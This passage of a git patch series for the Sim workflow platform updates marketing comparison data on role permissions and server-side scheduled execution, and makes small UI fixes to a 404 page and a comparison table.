'2026-07-04', + }, { url: 'https://docs.sim.ai/mcp', label: 'Sim Docs: Using MCP Tools', @@ -778,8 +811,11 @@ export const simProfile: CompetitorProfile = { ], }, rbac: { - value: 'Yes: admin/write/read workspace permissions, org-level admin/member roles', - shortValue: 'Workspace and org-level role permissions', + value: + 'Yes: admin/write/read workspace permissions, org-level admin/member roles, plus Enterprise-tier permission groups that allow/deny-list specific models, tools, and integrations per group on top of those base roles', + detail: + 'See modelAndToolGovernance and credentialGovernance for the finer-grained permission-groups layer.', + shortValue: 'Workspace/org roles, plus per-group model and tool allow/deny lists', confidence: 'verified', sources: [ { @@ -792,6 +828,11 @@ export const simProfile: CompetitorProfile = { label: 'Sim codebase: permissionTypeEnum, role columns', asOf: '2026-07-02', }, + { + url: 'https://github.com/simstudioai/sim/blob/main/apps/sim/lib/permission-groups/types.ts', + label: 'Sim codebase: permission groups', + asOf: '2026-07-04', + }, ], }, auditLogging: { @@ -1057,6 +1098,26 @@ export const simProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled, webhook, and chat-triggered runs execute as background jobs on trigger.dev workers, entirely on Sim's servers", + detail: + 'No client device needs to be open, awake, or connected for a run to fire or complete; closing the browser tab or shutting down a laptop has no effect on a scheduled or triggered workflow.', + shortValue: 'Runs server-side; no dependency on a client device staying open', + confidence: 'verified', + sources: [ + { + url: 'https://github.com/simstudioai/sim/blob/main/apps/sim/lib/core/async-jobs/backends/trigger-dev.ts', + label: 'Sim codebase: trigger.dev background job backend', + asOf: '2026-07-02', + }, + { + url: 'https://docs.sim.ai/triggers', + label: 'Sim Docs: Triggers', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/types.ts b/apps/sim/lib/compare/data/types.ts index 0b35b3fc91f..052823aaef8 100644 --- a/apps/sim/lib/compare/data/types.ts +++ b/apps/sim/lib/compare/data/types.ts @@ -153,6 +153,8 @@ export interface ComparisonFacts { executionLimits: Fact /** Whether one failing step can be routed to an error-handling path so the rest of the run continues, versus a single failure always halting the entire execution. */ partialFailureHandling: Fact + /** Whether a scheduled or triggered run executes on a server with no dependency on a client device being open, awake, or connected, versus requiring a desktop app/session to remain active. */ + unattendedExecution: Fact } support: { supportChannels: Fact From 82eb6dce42248a1cb698c96c73383b0485885f8e Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 19:07:17 -0700 Subject: [PATCH 15/16] fix(404): use ChipLink for return-home CTA on root not-found page (#5424) Matches the emcn ChipLink pattern already used by sibling landing not-found pages instead of a hand-rolled Link with raw Tailwind classes. --- apps/sim/app/not-found.tsx | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/apps/sim/app/not-found.tsx b/apps/sim/app/not-found.tsx index 76af4c16271..82c39e62ab3 100644 --- a/apps/sim/app/not-found.tsx +++ b/apps/sim/app/not-found.tsx @@ -1,5 +1,5 @@ +import { ChipLink } from '@sim/emcn' import type { Metadata } from 'next' -import Link from 'next/link' import { LogoShell } from '@/app/(landing)/components' export const metadata: Metadata = { @@ -17,12 +17,9 @@ export default function NotFound() {

The page you're looking for doesn't exist or has been moved.

- + Return home - +
) From 85f80fa213bc921fc22d05f0f5fdb1848e2e85be Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 19:18:39 -0700 Subject: [PATCH 16/16] fix(compare): render two already-populated fact rows that were missing from the table (#5425) dataTables and richTextEditor are required fact fields, already researched and filled in for Sim and every competitor, but neither was ever added to the row list the table actually renders. --- apps/sim/app/(landing)/comparison/comparison-sections.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/apps/sim/app/(landing)/comparison/comparison-sections.ts b/apps/sim/app/(landing)/comparison/comparison-sections.ts index 3943cfef557..5c534486c9b 100644 --- a/apps/sim/app/(landing)/comparison/comparison-sections.ts +++ b/apps/sim/app/(landing)/comparison/comparison-sections.ts @@ -67,6 +67,8 @@ export const COMPARISON_SECTIONS: ComparisonSectionDef[] = [ { key: 'versionControlDepth', label: 'Version control' }, { key: 'realtimeCollaboration', label: 'Realtime collaboration' }, { key: 'nativeFileStorage', label: 'Native file storage' }, + { key: 'dataTables', label: 'Native data tables' }, + { key: 'richTextEditor', label: 'Rich-text document editor' }, { key: 'subWorkflows', label: 'Sub-workflows (composition)' }, ], }),